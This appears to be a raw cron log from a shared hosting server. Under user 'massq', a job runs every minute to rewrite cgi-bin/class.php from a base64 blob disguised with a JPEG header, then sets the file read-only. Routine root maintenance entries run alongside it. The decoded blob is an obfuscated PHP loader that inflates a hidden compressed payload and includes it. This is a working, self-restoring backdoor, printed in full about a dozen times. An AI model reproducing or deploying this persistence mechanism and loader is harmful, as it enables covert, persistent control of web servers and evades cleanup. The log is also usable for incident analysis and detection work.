Nov 10 19:47:01 server CROND[15491]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:48:01 server CROND[16285]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:49:01 server CROND[17104]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:50:01 server CROND[18040]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 19:50:01 server CROND[18041]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 19:50:01 server CROND[18047]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 19:50:01 server CROND[18045]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 19:50:01 server CROND[18048]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:51:01 server CROND[18928]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:52:01 server CROND[19389]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:53:01 server CROND[20195]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:54:01 server CROND[21014]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:55:01 server CROND[21935]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 19:55:01 server CROND[21936]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:55:01 server CROND[21937]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 19:56:01 server CROND[22792]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:57:01 server CROND[23185]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 19:57:01 server CROND[23186]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:58:01 server CROND[23994]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:59:01 server CROND[24402]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:00:01 server CROND[25286]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 20:00:01 server CROND[25289]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 20:00:01 server CROND[25288]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 20:00:01 server CROND[25293]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
